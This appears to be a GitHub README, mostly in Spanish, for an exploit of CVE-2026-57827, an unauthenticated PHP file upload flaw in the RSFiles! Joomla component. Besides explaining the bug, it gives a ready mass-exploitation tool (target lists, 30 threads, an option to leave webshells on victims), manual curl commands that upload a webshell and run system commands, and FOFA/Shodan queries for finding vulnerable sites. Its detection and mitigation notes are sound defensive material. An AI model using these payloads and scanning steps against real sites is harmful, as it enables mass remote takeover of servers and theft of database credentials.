
CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad crítica (CVSS 9.8) en RSFiles! (com_rsfiles), un componente de gestión de archivos y descargas muy utilizado para Joomla, en versiones < 1.17.12.
La vulnerabilidad explota un fallo de diseño de controlador dividido: RSFiles! separa su subida en dos tareas de frontend — una comprobación previa (puerta de permisos + lista blanca de extensiones) y un método de escritura (guarda el archivo en disco). El método de escritura puede invocarse directamente, omitiendo por completo la comprobación previa. No se requiere autenticación ni token CSRF.
| Versión | Estado |
|---|---|
| < 1.17.12 | Vulnerable |
| 1.17.12+ | Parcheada |
Descubierto por: Phil Taylor, mySites.guru (10 de julio de 2026) Proveedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles
RSFiles! divide su subida en dos tareas de frontend independientes en /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, omitiendo por completo la comprobación previa.JFile::upload()), que acepta cualquier tipo de archivo por defecto..htaccess protector que impediría la ejecución de PHP allí es un ajuste de administración opcional que está DESACTIVADO por defecto.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Las comprobaciones de seguridad (puerta de permisos + lista blanca de extensiones) son un paso previo separado del método que realmente escribe el archivo. Solo la primera contiene las comprobaciones. La segunda — la que escribe en disco — puede invocarse directamente manipulando el parámetro task adecuado en la URL, omitiendo todos los controles de seguridad.
Este es un ejemplo de libro de texto del antipatrón «comprobaciones y acciones en lugares distintos»: la protección y la operación que se supone que debe proteger están desacopladas, y un atacante puede alcanzar la operación sin pasar por la protección.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Paso 1 — Subir el shell
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Paso 2 — Acceder al shell
curl 'https://target.com/downloads/shell.php?c=id'
Paso 3 — Ejecutar comandos
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
Mitigación (si no es posible actualizar)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
Una explotación exitosa produce ejecución remota de código como el usuario del servidor web:
configuration.php → credenciales de la base de datos, secretos SMTPNo se necesita ninguna cuenta en el sitio en ningún paso. Anónimo, no autenticado y remoto.
RSJoomla corrigió la vulnerabilidad en la versión 1.17.12 de la siguiente manera:
.htaccess en la carpeta de descargas esté habilitada por defectoSOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
No lo utilice contra sistemas sin el permiso explícito del propietario. Los autores no asumen ninguna responsabilidad por el mal uso.
No afiliado con RSJoomla ni con mySites.guru.
| Archivo | Propósito |
|---|
/components/com_rsfiles/controllers/rsfiles.php | Controlador con las tareas vulnerables upload() y checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Plantilla del formulario de subida del frontend (confirmado: name="file", task=rsfiles.upload) |
/downloads/ | Carpeta de descargas por defecto en la raíz web (protección .htaccess DESACTIVADA por defecto) |
/briefcase/ | Carpeta del briefcase (también escribible) |
| Recurso | Enlace |
|---|
| Entrada NVD | CVE-2026-57827 |
| Aviso de mySites.guru | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| Aviso de RSJoomla | rsjoomla.com |
| CWE-434 | Subida sin restricciones de un archivo con tipo peligroso |
| Reportado por | Phil Taylor, mySites.guru |